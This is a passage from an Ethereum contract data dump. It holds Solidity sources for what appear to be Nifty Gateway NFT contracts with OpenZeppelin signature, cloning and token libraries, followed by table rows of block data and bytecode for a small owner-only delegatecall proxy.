"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nabstract contract GenericErrors {\n string internal constant ERROR_INPUT_ARRAY_EMPTY = \"Input array empty\";\n string internal constant ERROR_INPUT_ARRAY_SIZE_MISMATCH = \"Input array size mismatch\";\n string internal constant ERROR_INVALID_MSG_SENDER = \"Invalid msg.sender\";\n string internal constant ERROR_UNEXPECTED_DATA_SIGNER = \"Unexpected data signer\";\n string internal constant ERROR_INSUFFICIENT_BALANCE = \"Insufficient balance\";\n string internal constant ERROR_WITHDRAW_UNSUCCESSFUL = \"Withdraw unsuccessful\";\n string internal constant ERROR_CONTRACT_IS_FINALIZED = \"Contract is finalized\";\n string internal constant ERROR_CANNOT_CHANGE_DEFAULT_OWNER = \"Cannot change default owner\";\n string internal constant ERROR_UNCLONEABLE_REFERENCE_CONTRACT = \"Uncloneable reference contract\";\n string internal constant ERROR_BIPS_OVER_100_PERCENT = \"Bips over 100%\";\n string internal constant ERROR_NO_ROYALTY_RECEIVER = \"No royalty receiver\";\n string internal constant ERROR_REINITIALIZATION_NOT_PERMITTED = \"Re-initialization not permitted\";\n string internal constant ERROR_ZERO_ETH_TRANSFER = \"Zero ETH Transfer\";\n}"
},
"contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}"
},
"contracts/utils/NiftyPermissions.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./ERC165.sol\";\nimport \"./GenericErrors.sol\";\nimport \"../interfaces/INiftyEntityCloneable.sol\";\nimport \"../interfaces/INiftyRegistry.sol\";\nimport \"../libraries/Context.sol\";\n\nabstract contract NiftyPermissions is Context, ERC165, GenericErrors, INiftyEntityCloneable { \n\n event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);\n\n // Only allow Nifty Entity to be initialized once\n bool internal initializedNiftyEntity;\n\n // If address(0), use enable Nifty Gateway permissions - otherwise, specifies the address with permissions\n address public admin;\n\n // To prevent a mistake, transferring admin rights will be a two step process\n // First, the current admin nominates a new admin\n // Second, the nominee accepts admin\n address public nominatedAdmin;\n\n // Nifty Registry Contract\n INiftyRegistry internal permissionsRegistry; \n\n function initializeNiftyEntity(address niftyRegistryContract_) public {\n require(!initializedNiftyEntity, ERROR_REINITIALIZATION_NOT_PERMITTED);\n permissionsRegistry = INiftyRegistry(niftyRegistryContract_);\n initializedNiftyEntity = true;\n } \n \n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return \n interfaceId == type(INiftyEntityCloneable).interfaceId ||\n super.supportsInterface(interfaceId);\n } \n\n function renounceAdmin() external {\n _requireOnlyValidSender();\n _transferAdmin(address(0));\n } \n\n function nominateAdmin(address nominee) external {\n _requireOnlyValidSender();\n nominatedAdmin = nominee;\n }\n\n function acceptAdmin() external {\n address nominee = nominatedAdmin;\n require(_msgSender() == nominee, ERROR_INVALID_MSG_SENDER);\n _transferAdmin(nominee);\n }\n \n function _requireOnlyValidSender() internal view { \n address currentAdmin = admin; \n if(currentAdmin == address(0)) {\n require(permissionsRegistry.isValidNiftySender(_msgSender()), ERROR_INVALID_MSG_SENDER);\n } else {\n require(_msgSender() == currentAdmin, ERROR_INVALID_MSG_SENDER);\n }\n } \n\n function _transferAdmin(address newAdmin) internal {\n address oldAdmin = admin;\n admin = newAdmin;\n delete nominatedAdmin; \n emit AdminTransferred(oldAdmin, newAdmin);\n }\n}"
},
"contracts/interfaces/INiftyEntityCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\n\ninterface INiftyEntityCloneable is IERC165 {\n function initializeNiftyEntity(address niftyRegistryContract_) external;\n}"
},
"contracts/interfaces/INiftyRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\ninterface INiftyRegistry {\n function isValidNiftySender(address sendingKey) external view returns (bool);\n}"
},
"contracts/libraries/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)\n\npragma solidity 0.8.9;\n\nimport \"./Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n } else if (error == RecoverError.InvalidSignatureV) {\n revert(\"ECDSA: invalid signature 'v' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n // Check the signature length\n // - case 65: r,s,v signature (standard)\n // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else if (signature.length == 64) {\n bytes32 r;\n bytes32 vs;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n assembly {\n r := mload(add(signature, 0x20))\n vs := mload(add(signature, 0x40))\n }\n return tryRecover(hash, r, vs);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s;\n uint8 v;\n assembly {\n s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)\n v := add(shr(255, vs), 27)\n }\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n if (v != 27 && v != 28) {\n return (address(0), RecoverError.InvalidSignatureV);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */ \n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n }\n}\n"
},
"contracts/structs/SignatureStatus.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nstruct SignatureStatus {\n bool isSalted;\n bool isVerified;\n address signer;\n bytes32 saltedHash;\n}"
},
"contracts/utils/RejectEther.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @title A base contract that may be inherited in order to protect a contract from having its fallback function \n * invoked and to block the receipt of ETH by a contract.\n * @author Nathan Gang\n * @notice This contract bestows on inheritors the ability to block ETH transfers into the contract\n * @dev ETH may still be forced into the contract - it is impossible to block certain attacks, but this protects from accidental ETH deposits\n */\n // For more info, see: \"https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56\"\nabstract contract RejectEther { \n\n /**\n * @dev For most contracts, it is safest to explicitly restrict the use of the fallback function\n * This would generally be invoked if sending ETH to this contract with a 'data' value provided\n */\n fallback() external payable { \n revert(\"Fallback function not permitted\");\n }\n\n /**\n * @dev This is the standard path where ETH would land if sending ETH to this contract without a 'data' value\n * In our case, we don't want our contract to receive ETH, so we restrict it here\n */\n receive() external payable {\n revert(\"Receiving ETH not permitted\");\n } \n}"
},
"contracts/interfaces/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}"
},
"contracts/libraries/Clones.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for\n * deploying minimal proxy contracts, also known as \"clones\".\n *\n * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies\n * > a minimal bytecode implementation that delegates all calls to a known, fixed address.\n *\n * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`\n * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the\n * deterministic method.\n *\n */\nlibrary Clones {\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create opcode, which should never revert.\n */\n function clone(address implementation) internal returns (address instance) {\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(ptr, 0x14), shl(0x60, implementation))\n mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n instance := create(0, ptr, 0x37)\n }\n require(instance != address(0), \"ERC1167: create failed\");\n }\n\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create2 opcode and a `salt` to deterministically deploy\n * the clone. Using the same `implementation` and `salt` multiple time will revert, since\n * the clones cannot be deployed twice at the same address.\n */\n function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(ptr, 0x14), shl(0x60, implementation))\n mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n instance := create2(0, ptr, 0x37, salt)\n }\n require(instance != address(0), \"ERC1167: create2 failed\");\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt,\n address deployer\n ) internal pure returns (address predicted) {\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n mstore(add(ptr, 0x14), shl(0x60, implementation))\n mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)\n mstore(add(ptr, 0x38), shl(0x60, deployer))\n mstore(add(ptr, 0x4c), salt)\n mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))\n predicted := keccak256(add(ptr, 0x37), 0x55)\n }\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(address implementation, bytes32 salt)\n internal\n view\n returns (address predicted)\n {\n return predictDeterministicAddress(implementation, salt, address(this));\n }\n}"
},
"contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be payed in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}"
},
"contracts/interfaces/ICloneablePaymentSplitter.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\nimport \"../libraries/SafeERC20.sol\";\n\ninterface ICloneablePaymentSplitter is IERC165 {\n \n event PayeeAdded(address account, uint256 shares);\n event PaymentReleased(address to, uint256 amount);\n event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);\n event PaymentReceived(address from, uint256 amount);\n \n function initialize(address[] calldata payees, uint256[] calldata shares_) external; \n function totalShares() external view returns (uint256); \n function totalReleased() external view returns (uint256);\n function totalReleased(IERC20 token) external view returns (uint256);\n function shares(address account) external view returns (uint256); \n function released(address account) external view returns (uint256);\n function released(IERC20 token, address account) external view returns (uint256);\n function payee(uint256 index) external view returns (address); \n function release(address payable account) external;\n function release(IERC20 token, address account) external;\n function pendingPayment(address account) external view returns (uint256);\n function pendingPayment(IERC20 token, address account) external view returns (uint256);\n}\n"
},
"contracts/structs/RoyaltyRecipient.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nstruct RoyaltyRecipient {\n bool isPaymentSplitter; // 1 byte\n uint16 bips; // 2 bytes\n address recipient; // 20 bytes\n}"
},
"contracts/libraries/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../interfaces/IERC20.sol\";\nimport \"./Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 1500
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 19,493,874 | d5a99462fac34e91f33920a497c6308fad50b521df26a0951d52e73d3998bfbe | 928a1d14446b470962043e7498d47be74af2213ad87afbd4f43a1108eb8de16c | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 2e8b333ed630b9ca09208623f13352144be07358 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,875 | 814c941b04d4add81f87261353f61dfc3215306d5704422d7bd742b29e0e4079 | 6a0fa8ab4055c3585e072686d0826444b70c715dc989f6f130033546a88f14cc | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 1aee19c9bff48c6d14b3100ae97afdd845f22132 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,877 | 3abacc97a92eb734c3e3a358cea07f24eb1384bc9c6779a3c299ebed7ae65077 | 1db3ecb709d727607772e91745b3d3e24aff6ef797e9bf96ae8573e227918f8a | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 536f441fc1eebc7bfd3eb2f6e659aa176e246fd7 | 